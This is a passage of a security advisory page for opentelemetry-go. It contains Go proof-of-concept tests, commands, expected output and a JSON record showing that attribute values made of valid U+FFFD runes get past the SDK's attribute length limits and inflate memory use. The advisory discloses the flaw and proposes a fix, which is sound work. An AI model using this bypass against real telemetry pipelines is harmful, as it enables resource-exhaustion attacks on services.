// TestOT001_FFFDMixedStringOverRetains demonstrates that valid U+FFFD runes
// are not counted in the optimistic truncation path: every U+FFFD adds 3
// uncounted bytes to the retained value.
func TestOT001_FFFDMixedStringOverRetains(t *testing.T) {
    const limit = 5
    val := strings.Repeat("\uFFFD", 100) + strings.Repeat("A", 6) // 106 chars, 306 bytes

    got := captureOneSpan(t, limit, attribute.String("k", val))
    stored := got[0].Value.AsString()
    t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d",
        utf8.RuneCountInString(val), len(val),
        utf8.RuneCountInString(stored), len(stored), limit)
    if chars := utf8.RuneCountInString(stored); chars > limit {
        t.Fatalf("BYPASS: AttributeValueLengthLimit=%d but %d chars / %d bytes stored",
            limit, chars, len(stored))
    }
}

// TestOT001_ASCIIControl is the control case: plain ASCII over-limit values
// ARE truncated, proving the length limit is active in the same setup.
func TestOT001_ASCIIControl(t *testing.T) {
    const limit = 5
    val := strings.Repeat("B", 20)

    got := captureOneSpan(t, limit, attribute.String("k", val))
    stored := got[0].Value.AsString()
    t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d",
        utf8.RuneCountInString(val), len(val),
        utf8.RuneCountInString(stored), len(stored), limit)
    if len(stored) != limit {
        t.Fatalf("control failed: ASCII value not truncated (stored %d bytes)", len(stored))
    }
}

// TestOT001_EventAttributesNotLengthTruncated documents that span-event
// attributes bypass AttributeValueLengthLimit entirely (no attrnorm.Truncate
// call in recordingSpan.addEvent).
func TestOT001_EventAttributesNotLengthTruncated(t *testing.T) {
    const limit = 5
    val := strings.Repeat("C", 100)

    sr := tracetest.NewSpanRecorder()
    tp := sdktrace.NewTracerProvider(
        sdktrace.WithSpanProcessor(sr),
        sdktrace.WithSpanLimits(limitsWithLen(limit)),
    )
    defer func() { _ = tp.Shutdown(context.Background()) }()
    tr := tp.Tracer("poc")
    _, span := tr.Start(context.Background(), "op")
    span.AddEvent("ev", trace.WithAttributes(attribute.String("k", val)))
    span.End()

    ended := sr.Ended()
    events := ended[0].Events()
    if len(events) != 1 {
        t.Fatalf("expected 1 event, got %d", len(events))
    }
    stored := events[0].Attributes[0].Value.AsString()
    t.Logf("event attribute input: %d bytes; stored: %d bytes; limit=%d", len(val), len(stored), limit)
    if len(stored) > limit {
        t.Logf("CONFIRMED: event attribute not length-truncated (%d bytes > limit %d)", len(stored), limit)
    }
}

(The -run pattern above selects the three truncation cases plus the control; the fourth test function is included because it is part of the exact file that produced the output below - it compiles but is not selected by the pattern, and its output does not appear.)

otelgo_log_truncate_test.go:

package otelpoc

import (
    "context"
    "strings"
    "sync"
    "testing"
    "unicode/utf8"

    "go.opentelemetry.io/otel/attribute"
    apisdk "go.opentelemetry.io/otel/log"
    sdklog "go.opentelemetry.io/otel/sdk/log"
)

type captureProcessor struct {
    mu   sync.Mutex
    recs []*sdklog.Record
}

func (c *captureProcessor) Enabled(context.Context, sdklog.EnabledParameters) bool { return true }

func (c *captureProcessor) OnEmit(_ context.Context, r *sdklog.Record) error {
    c.mu.Lock()
    defer c.mu.Unlock()
    clone := r.Clone()
    c.recs = append(c.recs, &clone)
    return nil
}

func (c *captureProcessor) Shutdown(context.Context) error { return nil }
func (c *captureProcessor) ForceFlush(context.Context) error {
    return nil
}

// TestOT001_FFFDOnlyStringBypassesLogLengthLimit repeats the bypass against
// the sdk/log attribute path (sdk/log/internal/attrnorm, same template).
func TestOT001_FFFDOnlyStringBypassesLogLengthLimit(t *testing.T) {
    const limit = 5
    cp := &captureProcessor{}
    lp := sdklog.NewLoggerProvider(
        sdklog.WithProcessor(cp),
        sdklog.WithAttributeValueLengthLimit(limit),
    )
    defer func() { _ = lp.Shutdown(context.Background()) }()

    logger := lp.Logger("poc")
    var r apisdk.Record
    r.SetSeverity(apisdk.SeverityInfo)
    r.AddAttributes(attribute.String("k", strings.Repeat("\uFFFD", 1000)))
    logger.Emit(context.Background(), r)

    cp.mu.Lock()
    if len(cp.recs) != 1 {
        t.Fatalf("expected 1 record, got %d", len(cp.recs))
    }
    rec := cp.recs[0]
    cp.mu.Unlock()

    stored := ""
    rec.WalkAttributes(func(kv attribute.KeyValue) bool {
        if string(kv.Key) == "k" {
            stored = kv.Value.AsString()
        }
        return true
    })
    t.Logf("sdk/log input: 1000 chars / 3000 bytes; stored: %d chars / %d bytes; limit=%d",
        utf8.RuneCountInString(stored), len(stored), limit)
    if maxBytes := 3 * limit; len(stored) > maxBytes {
        t.Fatalf("BYPASS: sdk/log WithAttributeValueLengthLimit=%d but %d bytes stored (expected <=%d)",
            limit, len(stored), maxBytes)
    }
}

Run:

go mod tidy
go test -count=1 -v -run "TestOT001_FFFDOnlyStringBypassesTraceLengthLimit|TestOT001_FFFDMixedStringOverRetains|TestOT001_ASCIIControl|TestOT001_FFFDOnlyStringBypassesLogLengthLimit" .

Expected output (captured against the published v1.46.0 modules; the three FAIL lines are the bypass being triggered and the PASS control proves the limit is active in the same setup; the only varying parts are the durations in parentheses and the total on the FAIL otelpoc summary line):

=== RUN   TestOT001_FFFDOnlyStringBypassesLogLengthLimit
    otelgo_log_truncate_test.go:66: sdk/log input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5
    otelgo_log_truncate_test.go:69: BYPASS: sdk/log WithAttributeValueLengthLimit=5 but 3000 bytes stored (expected <=15)
--- FAIL: TestOT001_FFFDOnlyStringBypassesLogLengthLimit (0.00s)
=== RUN   TestOT001_FFFDOnlyStringBypassesTraceLengthLimit
    otelgo_truncate_test.go:61: input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5
    otelgo_truncate_test.go:67: BYPASS: AttributeValueLengthLimit=5 but 3000 bytes stored (expected <=15)
--- FAIL: TestOT001_FFFDOnlyStringBypassesTraceLengthLimit (0.00s)
=== RUN   TestOT001_FFFDMixedStringOverRetains
    otelgo_truncate_test.go:81: input: 106 chars / 306 bytes; stored: 105 chars / 305 bytes; limit=5
    otelgo_truncate_test.go:85: BYPASS: AttributeValueLengthLimit=5 but 105 chars / 305 bytes stored
--- FAIL: TestOT001_FFFDMixedStringOverRetains (0.00s)
=== RUN   TestOT001_ASCIIControl
    otelgo_truncate_test.go:98: input: 20 chars / 20 bytes; stored: 5 chars / 5 bytes; limit=5
--- PASS: TestOT001_ASCIIControl (0.00s)
FAIL
FAIL    otelpoc 0.059s
FAIL

The mixed-string case stores 105 characters for a limit of 5: the 100 U+FFFD runes (300 uncounted bytes) are all retained, plus 5 of the 6 ASCII characters.

Impact

Applications that enable AttributeValueLengthLimit (or WithAttributeValueLengthLimit for logs) to bound attribute memory do not get that bound for values containing valid U+FFFD runes. Span and log-record attribute values are routinely derived from untrusted input (HTTP headers, request bodies, database fields), so an attacker can inflate per-span memory retention linearly, defeating the memory protection the operator explicitly enabled and accumulating increased memory usage over the span/log pipeline. Confidentiality and integrity are not affected.

Suggested fix

In the optimistic loop, count every rune of size > 1 (including the legitimately encoded U+FFFD) and only divert size-1 invalid bytes to the slow path. Add regression cases for: pure U+FFFD strings, U+FFFD-dominated mixed strings, and a truncation point landing after a U+FFFD (the current truncate_test.go has no U+FFFD case).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.opentelemetry.io/otel/sdk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.33.0"
            },
            {
              "fixed": "1.47.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.opentelemetry.io/otel/sdk/log"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.0"
            },
            {
              "fixed": "1.47.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.opentelemetry.io/otel/trace"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.35.0"
            },
            {
              "fixed": "1.47.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-128085"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-135",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-13T19:00:55Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `AttributeValueLengthLimit` span/log-record limit can be bypassed entirely with attribute values that consist of valid U+FFFD (REPLACEMENT CHARACTER) runes. The counting-based truncation introduced by the fix for GHSA-p9f8-wvj8-2fg8 (commit `e016a78c9`, first released in v1.33.0) has an \"optimistic\" fast path that skips every U+FFFD without counting it and without falling back to the correct slow path. A value of 1000 U+FFFD runes (3000 bytes) is stored verbatim even with a limit of 5 characters (15 bytes). The same defect affects the attribute truncation paths in `go.opentelemetry.io/otel/sdk/trace` (`sdk/internal/attrnorm`), `go.opentelemetry.io/otel/sdk/log` (`sdk/log/internal/attrnorm`), and the auto-instrumentation tracer in `go.opentelemetry.io/otel/trace` (`trace/auto.go`, introduced in `v1.35.0`).\n\nThis is an incomplete-fix issue: it is a distinct defect in the replacement code that GHSA-p9f8-wvj8-2fg8 introduced, affecting exactly the versions that advisory says are fixed (\u003e= v1.33.0). The original advisory covers only the pre-v1.33.0 code.\n\n## Details\n\nThe shared truncation helper is generated from `internal/shared/attrnorm/truncate.go.tmpl`. In the v1.46.0 release, the generated copies are `sdk/internal/attrnorm/truncate.go` and `sdk/log/internal/attrnorm/truncate.go` (identical logic, different package names). The optimistic path (v1.46.0, `sdk/internal/attrnorm/truncate.go:175-199`) is:\n\n```go\n// Optimistically, assume all valid UTF-8.\nvar b strings.Builder\ncount := 0\nfor i, c := range s {\n    if c != utf8.RuneError {\n        count++\n        if count \u003e limit {\n            return s[:i]\n        }\n        continue\n    }\n    _, size := utf8.DecodeRuneInString(s[i:])\n    if size == 1 {\n        // invalid encoding: fall through to the correct slow path\n        ...\n        break\n    }\n}\n```\n\n`range` over a string yields `utf8.RuneError` both for invalid bytes (size 1) and for a legitimately encoded U+FFFD (size 3). Only the size-1 case enters the slow path. A valid U+FFFD rune is therefore neither counted nor truncating: the loop slides over it. Consequences:\n\n1. A value made only of valid U+FFFD runes never increments `count`, so no truncation ever triggers and the value is returned unchanged, whatever its length.\n2. In a mixed string, every U+FFFD contributes 3 bytes that are not counted, and the final `return s[:i]` keeps all previously skipped U+FFFD runes, so the retained size grows linearly with the number of U+FFFD runes and is not bounded by `limit`.\n\nThe OpenTelemetry specification states that truncation applies \"counting any character in it as 1\". A valid U+FFFD is one character and must count as 1; here it counts as 0. The regression test suite of the repository contains no U+FFFD case, which is why this went unnoticed.\n\nCall chains (v1.46.0):\n\n- trace: `span.SetAttributes` -\u003e `sdk/trace/span.go` (`normAttr`) -\u003e `attrnorm.Truncate` -\u003e `sdk/internal/attrnorm/truncate.go` (`truncate`)\n- log: `Record.AddAttributes` / `SetAttributes` -\u003e `sdk/log/record.go` (`attrnorm.TruncateValue`) -\u003e `sdk/log/internal/attrnorm/truncate.go` (`truncate`)\n\nDeduplication: GHSA-p9f8-wvj8-2fg8 describes the pre-v1.33.0 helper (`safeTruncateValidUTF8`), which gave up truncating entirely for strings containing RuneError. The rewrite in `e016a78c9` replaced that code; this report concerns the rewritten code, is present only in versions that the advisory lists as fixed, and no public issue or advisory describes it.\n\n## PoC\n\nMinimal reproduction with the published release (no repository checkout needed). Go 1.25+ is required (the release declares `go 1.25.0`; any recent toolchain auto-selects one).\n\nCreate a directory with these files.\n\n`go.mod` (then run `go mod tidy` once to fill `go.sum`):\n\n```\nmodule otelpoc\n\ngo 1.25.0\n\nrequire (\n\tgo.opentelemetry.io/otel v1.46.0\n\tgo.opentelemetry.io/otel/log v0.22.0\n\tgo.opentelemetry.io/otel/sdk v1.46.0\n\tgo.opentelemetry.io/otel/sdk/log v0.22.0\n\tgo.opentelemetry.io/otel/trace v1.46.0\n)\n```\n\n`otelgo_truncate_test.go`:\n\n```go\npackage otelpoc\n\nimport (\n\t\"context\"\n\t\"strings\"\n\t\"testing\"\n\t\"unicode/utf8\"\n\n\t\"go.opentelemetry.io/otel/attribute\"\n\tsdktrace \"go.opentelemetry.io/otel/sdk/trace\"\n\t\"go.opentelemetry.io/otel/sdk/trace/tracetest\"\n\t\"go.opentelemetry.io/otel/trace\"\n)\n\n// limitsWithLen returns span limits with AttributeValueLengthLimit=limit and\n// everything else unlimited, isolating the length-limit enforcement under test.\nfunc limitsWithLen(limit int) sdktrace.SpanLimits {\n\tlim := sdktrace.NewSpanLimits()\n\tlim.AttributeValueLengthLimit = limit\n\tlim.AttributeCountLimit = -1\n\tlim.AttributePerEventCountLimit = -1\n\tlim.AttributePerLinkCountLimit = -1\n\tlim.EventCountLimit = -1\n\tlim.LinkCountLimit = -1\n\treturn lim\n}\n\nfunc captureOneSpan(t *testing.T, limit int, attrs ...attribute.KeyValue) []attribute.KeyValue {\n\tt.Helper()\n\tsr := tracetest.NewSpanRecorder()\n\ttp := sdktrace.NewTracerProvider(\n\t\tsdktrace.WithSpanProcessor(sr),\n\t\tsdktrace.WithSpanLimits(limitsWithLen(limit)),\n\t)\n\tdefer func() { _ = tp.Shutdown(context.Background()) }()\n\n\ttr := tp.Tracer(\"poc\")\n\t_, span := tr.Start(context.Background(), \"op\")\n\tspan.SetAttributes(attrs...)\n\tspan.End()\n\n\tended := sr.Ended()\n\tif len(ended) != 1 {\n\t\tt.Fatalf(\"expected 1 ended span, got %d\", len(ended))\n\t}\n\treturn ended[0].Attributes()\n}\n\n// TestOT001_FFFDOnlyStringBypassesTraceLengthLimit demonstrates that a string\n// attribute composed of valid U+FFFD runes is stored completely untruncated\n// although AttributeValueLengthLimit=5.\nfunc TestOT001_FFFDOnlyStringBypassesTraceLengthLimit(t *testing.T) {\n\tconst limit = 5\n\tval := strings.Repeat(\"\\uFFFD\", 1000) // 1000 chars, 3000 bytes\n\n\tgot := captureOneSpan(t, limit, attribute.String(\"k\", val))\n\tif len(got) != 1 {\n\t\tt.Fatalf(\"expected 1 attribute, got %d\", len(got))\n\t}\n\tstored := got[0].Value.AsString()\n\tt.Logf(\"input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d\",\n\t\tutf8.RuneCountInString(val), len(val),\n\t\tutf8.RuneCountInString(stored), len(stored), limit)\n\t// Per OTel spec (\"counting any character in it as 1\") the stored value\n\t// must be at most `limit` characters (\u003c= 15 bytes for U+FFFD).\n\tif maxBytes := 3 * limit; len(stored) \u003e maxBytes {\n\t\tt.Fatalf(\"BYPASS: AttributeValueLengthLimit=%d but %d bytes stored (expected \u003c=%d)\",\n\t\t\tlimit, len(stored), maxBytes)\n\t}\n}\n\n// TestOT001_FFFDMixedStringOverRetains demonstrates that valid U+FFFD runes\n// are not counted in the optimistic truncation path: every U+FFFD adds 3\n// uncounted bytes to the retained value.\nfunc TestOT001_FFFDMixedStringOverRetains(t *testing.T) {\n\tconst limit = 5\n\tval := strings.Repeat(\"\\uFFFD\", 100) + strings.Repeat(\"A\", 6) // 106 chars, 306 bytes\n\n\tgot := captureOneSpan(t, limit, attribute.String(\"k\", val))\n\tstored := got[0].Value.AsString()\n\tt.Logf(\"input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d\",\n\t\tutf8.RuneCountInString(val), len(val),\n\t\tutf8.RuneCountInString(stored), len(stored), limit)\n\tif chars := utf8.RuneCountInString(stored); chars \u003e limit {\n\t\tt.Fatalf(\"BYPASS: AttributeValueLengthLimit=%d but %d chars / %d bytes stored\",\n\t\t\tlimit, chars, len(stored))\n\t}\n}\n\n// TestOT001_ASCIIControl is the control case: plain ASCII over-limit values\n// ARE truncated, proving the length limit is active in the same setup.\nfunc TestOT001_ASCIIControl(t *testing.T) {\n\tconst limit = 5\n\tval := strings.Repeat(\"B\", 20)\n\n\tgot := captureOneSpan(t, limit, attribute.String(\"k\", val))\n\tstored := got[0].Value.AsString()\n\tt.Logf(\"input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d\",\n\t\tutf8.RuneCountInString(val), len(val),\n\t\tutf8.RuneCountInString(stored), len(stored), limit)\n\tif len(stored) != limit {\n\t\tt.Fatalf(\"control failed: ASCII value not truncated (stored %d bytes)\", len(stored))\n\t}\n}\n\n// TestOT001_EventAttributesNotLengthTruncated documents that span-event\n// attributes bypass AttributeValueLengthLimit entirely (no attrnorm.Truncate\n// call in recordingSpan.addEvent).\nfunc TestOT001_EventAttributesNotLengthTruncated(t *testing.T) {\n\tconst limit = 5\n\tval := strings.Repeat(\"C\", 100)\n\n\tsr := tracetest.NewSpanRecorder()\n\ttp := sdktrace.NewTracerProvider(\n\t\tsdktrace.WithSpanProcessor(sr),\n\t\tsdktrace.WithSpanLimits(limitsWithLen(limit)),\n\t)\n\tdefer func() { _ = tp.Shutdown(context.Background()) }()\n\ttr := tp.Tracer(\"poc\")\n\t_, span := tr.Start(context.Background(), \"op\")\n\tspan.AddEvent(\"ev\", trace.WithAttributes(attribute.String(\"k\", val)))\n\tspan.End()\n\n\tended := sr.Ended()\n\tevents := ended[0].Events()\n\tif len(events) != 1 {\n\t\tt.Fatalf(\"expected 1 event, got %d\", len(events))\n\t}\n\tstored := events[0].Attributes[0].Value.AsString()\n\tt.Logf(\"event attribute input: %d bytes; stored: %d bytes; limit=%d\", len(val), len(stored), limit)\n\tif len(stored) \u003e limit {\n\t\tt.Logf(\"CONFIRMED: event attribute not length-truncated (%d bytes \u003e limit %d)\", len(stored), limit)\n\t}\n}\n```\n\n(The `-run` pattern above selects the three truncation cases plus the control; the fourth test function is included because it is part of the exact file that produced the output below - it compiles but is not selected by the pattern, and its output does not appear.)\n\n`otelgo_log_truncate_test.go`:\n\n```go\npackage otelpoc\n\nimport (\n\t\"context\"\n\t\"strings\"\n\t\"sync\"\n\t\"testing\"\n\t\"unicode/utf8\"\n\n\t\"go.opentelemetry.io/otel/attribute\"\n\tapisdk \"go.opentelemetry.io/otel/log\"\n\tsdklog \"go.opentelemetry.io/otel/sdk/log\"\n)\n\ntype captureProcessor struct {\n\tmu   sync.Mutex\n\trecs []*sdklog.Record\n}\n\nfunc (c *captureProcessor) Enabled(context.Context, sdklog.EnabledParameters) bool { return true }\n\nfunc (c *captureProcessor) OnEmit(_ context.Context, r *sdklog.Record) error {\n\tc.mu.Lock()\n\tdefer c.mu.Unlock()\n\tclone := r.Clone()\n\tc.recs = append(c.recs, \u0026clone)\n\treturn nil\n}\n\nfunc (c *captureProcessor) Shutdown(context.Context) error { return nil }\nfunc (c *captureProcessor) ForceFlush(context.Context) error {\n\treturn nil\n}\n\n// TestOT001_FFFDOnlyStringBypassesLogLengthLimit repeats the bypass against\n// the sdk/log attribute path (sdk/log/internal/attrnorm, same template).\nfunc TestOT001_FFFDOnlyStringBypassesLogLengthLimit(t *testing.T) {\n\tconst limit = 5\n\tcp := \u0026captureProcessor{}\n\tlp := sdklog.NewLoggerProvider(\n\t\tsdklog.WithProcessor(cp),\n\t\tsdklog.WithAttributeValueLengthLimit(limit),\n\t)\n\tdefer func() { _ = lp.Shutdown(context.Background()) }()\n\n\tlogger := lp.Logger(\"poc\")\n\tvar r apisdk.Record\n\tr.SetSeverity(apisdk.SeverityInfo)\n\tr.AddAttributes(attribute.String(\"k\", strings.Repeat(\"\\uFFFD\", 1000)))\n\tlogger.Emit(context.Background(), r)\n\n\tcp.mu.Lock()\n\tif len(cp.recs) != 1 {\n\t\tt.Fatalf(\"expected 1 record, got %d\", len(cp.recs))\n\t}\n\trec := cp.recs[0]\n\tcp.mu.Unlock()\n\n\tstored := \"\"\n\trec.WalkAttributes(func(kv attribute.KeyValue) bool {\n\t\tif string(kv.Key) == \"k\" {\n\t\t\tstored = kv.Value.AsString()\n\t\t}\n\t\treturn true\n\t})\n\tt.Logf(\"sdk/log input: 1000 chars / 3000 bytes; stored: %d chars / %d bytes; limit=%d\",\n\t\tutf8.RuneCountInString(stored), len(stored), limit)\n\tif maxBytes := 3 * limit; len(stored) \u003e maxBytes {\n\t\tt.Fatalf(\"BYPASS: sdk/log WithAttributeValueLengthLimit=%d but %d bytes stored (expected \u003c=%d)\",\n\t\t\tlimit, len(stored), maxBytes)\n\t}\n}\n```\n\nRun:\n\n```\ngo mod tidy\ngo test -count=1 -v -run \"TestOT001_FFFDOnlyStringBypassesTraceLengthLimit|TestOT001_FFFDMixedStringOverRetains|TestOT001_ASCIIControl|TestOT001_FFFDOnlyStringBypassesLogLengthLimit\" .\n```\n\nExpected output (captured against the published v1.46.0 modules; the three FAIL lines are the bypass being triggered and the PASS control proves the limit is active in the same setup; the only varying parts are the durations in parentheses and the total on the `FAIL\totelpoc` summary line):\n\n```\n=== RUN   TestOT001_FFFDOnlyStringBypassesLogLengthLimit\n    otelgo_log_truncate_test.go:66: sdk/log input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5\n    otelgo_log_truncate_test.go:69: BYPASS: sdk/log WithAttributeValueLengthLimit=5 but 3000 bytes stored (expected \u003c=15)\n--- FAIL: TestOT001_FFFDOnlyStringBypassesLogLengthLimit (0.00s)\n=== RUN   TestOT001_FFFDOnlyStringBypassesTraceLengthLimit\n    otelgo_truncate_test.go:61: input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5\n    otelgo_truncate_test.go:67: BYPASS: AttributeValueLengthLimit=5 but 3000 bytes stored (expected \u003c=15)\n--- FAIL: TestOT001_FFFDOnlyStringBypassesTraceLengthLimit (0.00s)\n=== RUN   TestOT001_FFFDMixedStringOverRetains\n    otelgo_truncate_test.go:81: input: 106 chars / 306 bytes; stored: 105 chars / 305 bytes; limit=5\n    otelgo_truncate_test.go:85: BYPASS: AttributeValueLengthLimit=5 but 105 chars / 305 bytes stored\n--- FAIL: TestOT001_FFFDMixedStringOverRetains (0.00s)\n=== RUN   TestOT001_ASCIIControl\n    otelgo_truncate_test.go:98: input: 20 chars / 20 bytes; stored: 5 chars / 5 bytes; limit=5\n--- PASS: TestOT001_ASCIIControl (0.00s)\nFAIL\nFAIL\totelpoc\t0.059s\nFAIL\n```\n\nThe mixed-string case stores 105 characters for a limit of 5: the 100 U+FFFD runes (300 uncounted bytes) are all retained, plus 5 of the 6 ASCII characters.\n\n## Impact\n\nApplications that enable `AttributeValueLengthLimit` (or `WithAttributeValueLengthLimit` for logs) to bound attribute memory do not get that bound for values containing valid U+FFFD runes. Span and log-record attribute values are routinely derived from untrusted input (HTTP headers, request bodies, database fields), so an attacker can inflate per-span memory retention linearly, defeating the memory protection the operator explicitly enabled and accumulating increased memory usage over the span/log pipeline. Confidentiality and integrity are not affected.\n\n## Suggested fix\n\nIn the optimistic loop, count every rune of size \u003e 1 (including the legitimately encoded U+FFFD) and only divert size-1 invalid bytes to the slow path. Add regression cases for: pure U+FFFD strings, U+FFFD-dominated mixed strings, and a truncation point landing after a U+FFFD (the current `truncate_test.go` has no U+FFFD case).",
  "id": "GHSA-q7gw-24fr-5p69",
  "modified": "2026-11-13T19:00:56Z",
  "published": "2026-11-13T19:00:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-q7gw-24fr-5p69"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-go/commit/017b08c7f1018b619991aaf6b2299d4beb9da1d3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-telemetry/opentelemetry-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-go/releases/tag/sdk/log/v1.47.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-go/releases/tag/sdk/v1.47.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-go/releases/tag/trace/v1.47.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "opentelemetry-go: AttributeValueLengthLimit is fully bypassed by attribute values composed of valid U+FFFD runes"
}

Mitigation
Implementation

Strategy: Input Validation

Always verify the length of the string unit character.

Mitigation
Implementation

Strategy: Libraries or Frameworks

Use length computing functions (e.g. strlen, wcslen, etc.) appropriately with their equivalent type (e.g.: byte, wchar_t, etc.)

No CAPEC attack patterns related to this CWE.